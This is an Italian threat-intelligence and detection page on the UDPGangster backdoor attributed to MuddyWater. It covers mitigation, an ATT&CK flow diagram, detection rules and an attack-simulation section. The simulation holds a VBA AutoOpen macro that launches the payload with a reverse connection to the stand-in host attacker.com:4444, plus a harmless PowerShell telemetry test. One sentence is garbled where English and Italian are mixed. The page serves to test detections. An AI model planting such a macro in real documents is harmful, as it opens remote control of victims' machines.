Attacchi UDPGangster si Diffondono in Diversi Paesi
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
UDPGangster è un backdoor basato su UDP sfruttato dal gruppo di minacce MuddyWater per controllare a distanza host Windows. Il compromesso iniziale avviene tramite un documento Word dannoso che utilizza macro VBA per estrarre e avviare il payload. Il malware esegue controlli anti-analisi estesi e mantiene la persistenza copiandosi nella directory AppData dell’utente e creando una chiave Run. Recenti campagne sono state osservate prendere di mira utenti in Turchia, Israele e Azerbaigian.
Indagine
I FortiGuard Labs hanno esaminato le email di phishing, la macro VBA incorporata, l’eseguibile estratto e le sue tecniche di persistenza. Hanno estratto indicatori come percorsi di file, voci di registro Run, nomi di mutex e infrastrutture C2 associate. Correlando indirizzi IP, domini e percorsi PDB, gli analisti hanno potuto collegare questa attività a operazioni precedenti del gruppo MuddyWater.
Mitigazione
I passaggi di mitigazione includono l’applicazione del blocco delle macro o la formazione robusta degli utenti per prevenire l’esecuzione delle macro, e la distribuzione di difese endpoint che osservano la scrittura di file sospetti in cartelle pubbliche o di profilo utente, oltre a modifiche alle chiavi di registro Run. I team di rete dovrebbero monitorare il traffico UDP anomalo sulla porta 1269 e bloccare gli indirizzi IP e i domini noti dannosi per interrompere i canali C2.
Risposta
Quando viene rilevata attività UDPGangster, isolare l’endpoint impattato, raccogliere memoria volatile e immagini del disco completo, e cercare il binario del backdoor e artefatti correlati. Bloccare l’infrastruttura C2 identificata, eseguire un’analisi forense approfondita per scoprire altri sistemi compromessi e aggiornare le firme di sicurezza per rilevare sia i documenti macro dannosi che il payload del backdoor.
graph TB %% Class Definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Node definitions action_phishing[“<b>Azione</b> – <b>T1566.001 Allegato di Spearphishing</b>: Email con documento Word e file ZIP malevoli.”] class action_phishing action action_macro[“<b>Azione</b> – <b>T1059.005 Interprete di Comandi e Script VBA</b>: La macro Document_Open decodifica il payload Base64 in C:\\Users\\Public\\ui.txt.”] class action_macro action action_vba_stomping[“<b>Azione</b> – <b>T1564.007 Occultamento di Artefatti (VBA Stomping)</b>: Il binario malevolo è nascosto nella macro e si materializza in fase di esecuzione.”] class action_vba_stomping action action_obfuscation[“<b>Azione</b> – <b>T1027.004 Compilazione Dopo la Consegna</b>: Payload offuscato tramite codifica Base64 e tecniche di compilazione.”] class action_obfuscation action action_persistence_copy[“<b>Azione</b> – <b>T1547.014 Avvio Automatico all’Avvio o al Logon</b>: Copia la backdoor in %AppData%\\RoamingLow\\SystemProc.exe.”] class action_persistence_copy action action_registry_persistence[“<b>Azione</b> – <b>T1547.014 Chiave di Avvio del Registro</b>: Crea una voce di avvio in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell.”] class action_registry_persistence action action_anti_sandbox[“<b>Azione</b> – <b>T1497.002 Evasione di Sandbox di Virtualizzazione</b>: Esegue rilevamento del debugger, conteggio core CPU, dimensione RAM, prefisso MAC, stato del dominio, query WMI, scansioni del registro e controlli di DLL di sandbox note.”] class action_anti_sandbox action action_c2_udp[“<b>Azione</b> – <b>T1571 Porta Non Standard</b>: Comunica con il C2 tramite la porta UDP 1269.”] class action_c2_udp action action_raw_udp[“<b>Azione</b> – <b>T1095 Protocollo Non a Livello Applicativo</b>: Utilizza pacchetti UDP grezzi per il traffico.”] class action_raw_udp action action_data_encoding[“<b>Azione</b> – <b>T1132.002 Codifica Personalizzata</b>: Le informazioni di sistema sono codificate con una trasformazione di rotazione a destra prima dell’esfiltrazione.”] class action_data_encoding action malware_backdoor[“<b>Malware</b>: Backdoor binaria personalizzata”] class malware_backdoor malware process_c2[“<b>Processo</b>: Server C2 remoto”] class process_c2 process %% Connections showing attack flow action_phishing –>|delivers| action_macro action_macro –>|materializes| action_vba_stomping action_vba_stomping –>|obfuscates| action_obfuscation action_obfuscation –>|copies to AppData| action_persistence_copy action_persistence_copy –>|creates run key| action_registry_persistence action_registry_persistence –>|enables| malware_backdoor action_vba_stomping –>|executes| action_anti_sandbox action_anti_sandbox –>|if passes| action_c2_udp action_c2_udp –>|uses| action_raw_udp action_raw_udp –>|sends encoded data| action_data_encoding action_data_encoding –>|to| process_c2 process_c2 –>|controls| malware_backdoor
Flusso degli Attacchi
Rilevamenti
Rilevamento della comunicazione C2 di UDPGangster tramite la porta UDP 1269 [Connessione di rete Windows]
Visualizza
Esecuzione di Comandi Remoti UDPGangster tramite CreateProcessA e cmd.exe [Creazione Processo Windows]
Visualizza
Rilevamento della Creazione di Mutex UDPGangster [Windows Sysmon]
Visualizza
IOC (SourceIP) per rilevare: Campagne UDPGangster bersaglia vari Paesi
Visualizza
IOC (DestinationIP) per rilevare: Campagne UDPGangster bersaglia vari Paesi
Visualizza
Esecuzione della Simulazione
Pre-requisito: Il Controllo Pre-voli di Telemetria & Baseline deve essere superato.
Scopo: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione & Comandi Attacco:
Un attaccante consegna un documento Word dannoso contenente una macro VBA. La macro chiama l’API di WindowsCreateProcessAper generarecmd.exee eseguire il payload UDPGangster (udp_gangster.exe). Il payload stabilisce una reverse shell al server C2 dell’attaccante. Poiché la macro passa esplicitamente la stringa “CreateProcessA” e il letterale nel comando, la regola di rilevamento corrisponderà .cmd.exein the command line, the detection rule will match.-
Macro VBA (semplificata)– dimostra la chiamata API:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
Distribuire la macro, aprire il documento e lasciare che la macro esegua. L’evento di creazione del processo risultante conterrà :
CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
Script di Test di Regressione:Il seguente script PowerShell riproduce esattamente la telemetria senza richiedere un documento Word. Chiama l’API Win32 nativa
CreateProcessAviaAdd-Type.# Test di regressione: chiamata diretta CreateProcessA con cmd.exe $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
Comandi di Pulizia:Rimuovere l’artefatto creato durante la simulazione.
# Rimuovere il file di log temporaneo generato dalla simulazione Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue